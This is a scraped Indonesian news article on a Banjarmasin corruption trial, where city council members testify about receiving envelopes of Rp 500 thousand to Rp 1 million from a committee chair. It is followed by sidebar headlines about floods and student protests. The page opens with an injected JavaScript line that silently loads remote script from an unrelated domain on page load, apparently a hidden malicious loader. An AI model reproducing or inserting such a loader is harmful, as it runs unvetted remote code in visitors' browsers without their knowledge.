(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Duh Malu, Masa Dewan Terima Uang Suap Cuma Rp 500 Ribu!


BANJARMASIN, Sidang kasus korupsi Raperda Penyertaan Modal PDAM Bandarmasih dengan terdakwa eks Dirut PDAM Muslih dan Manager Keuangannya Trensis, membuka tabir seputar mudahnya urusan bagi-bagi uang di lembaga legislatif tersebut. Yang lebih miris, ternyata jumlah yang dibagikan pun ternyata tak sepadan dengan statusnya di lembaga tersebut. Bayangkan, sekelas dewan tapi dikasih uang Rp 500 ribu. Ini namanya sudah; terlalu!

Fakta yang terkuak dalam surat dakwaan KPK bernomor DAK-77/24/11/2017 setebal 23 halaman  yang dibacakan tim jaksa KPK Ferdian Adi Nugroho beberapa waktu lalu, memang membuat shock masyarakat.

“Masak sih, anggota dewan mau aja menerima uang cuma Rp 500 ribu hanya untuk urusan begituan. Kalau saya sih, masih bisa mencari uang segitu dari hasil jualan,” demikian kata Saiful (42), penjual makanan yang ditemui di ajang pemeran Banjarbaru Book Fair, di Lapangan Murjani.

Tapi, dia berpikir mungkin saja para anggota dewan yang terhormat tersebut tak menyadari bahwa uang tersebut dimaksudkan untuk menyuap.

“Jika tahu, ya mungkin mereka tidak mau. Masak sih, suap dengan uang segitu,” ujarnya.

Mungkin apa yang disampaikan Saiful ada benarnya. Sebab hal tersebut ternyata juga diakui oleh sejumlah anggota dewan yang mengaku tak tahu jika uang yang diberikan oleh Ketua Pansus Penyertaan Modal Andi Effendi itu ternyata uang suap. Hal ini seperti disampaikan oleh Hj Ananda, Ketua DPRD Banjarmasin yang ketika kasus ini terjadi masih menjabat sebagai Bendahara di Komisi II DPRD Banjarmasin.

Ananda yang menjadi salah satu saksi dalam sidang yang berlangsung di PN Tipikor Banjarmasin, Selasa (28/11) lalu mengatakan menganggap uang yang diberikan Andi Effendi masih berkaitan dengan tugasnya di komisi.

“Saya juga sempat tanya ini uang apa, tapi dia bilang, sudah pegang saja. Saya tak curiga karena memang posisi saya ketika itu bendahara di Komisi II ,” jelasnya di persidangan.

Dia mengatakan, uang tersebut dia terima pada tanggal 4 September 2017. Saat itu, dia selesai shalat ashar di ruang Komisi II dan bertemu dengan Andi Effendi yang kebetulan juga akan menunaikan shalat. “Pas saya sedang lipat mukena dikasih uang itu,” kisahnya.

Di hadapan majelis hakim, Ananda sempat bertanya pada Andi, namun dia tidak mau mengatakan uang apa yang diberikan.  Setelah sampai dirumah, dia buka amplop pemberian yang berisi uang Rp 1 juta terdiri dari pecahan Rp 100 ribu sebayak 10 lembar.

Hal sama disampaikan Agus Suprapto, anggota dewan asal Partai Golkar ini mendapat uang dari Andi Effendi sebesar Rp 500 ribu. Uang tersebut diberikan ketika berpapasan di toilet DPRD Banjarmasin. Pun dengan Tugiatno, anggota DPRD dari PDIP.

Namun, semua uang yang dibagi-bagikan Andi Effendi tersebut telah dikembalikan oleh anggota dewan saat mereka diperiksa tim penyidik KPK. Kecuali oleh bekas Ketua DPRD Iwan Rusmali dan Andi Effendi  yang belum sempat mengembalikan.


Page: 1 2

Desy Arfianty

Recent Posts

244 Jiwa Terdampak Banjir, BPBD Kalsel Segera Kirimkan Bantuan Tepat Sasaran

KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More

5 jam ago

HMI Banjarmasin Peduli Banjir Salurkan Bantuan ke Warga

KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More

5 jam ago

Presma UIN Antasari: Rakyat Adalah Pemegang Kedaulatan Tertinggi

KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More

7 jam ago

Wacana Pilkada Melalui DPRD, BEM SI Kalsel: Kemunduran Demokrasi

KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More

10 jam ago

Disperkim Kalsel Tegaskan Komitmen Hunian Layak untuk Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More

14 jam ago

Satu Suara, Pilkada Lewat DPRD BEM SI Kalsel Sepakat Menolak

KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More

14 jam ago

This website uses cookies.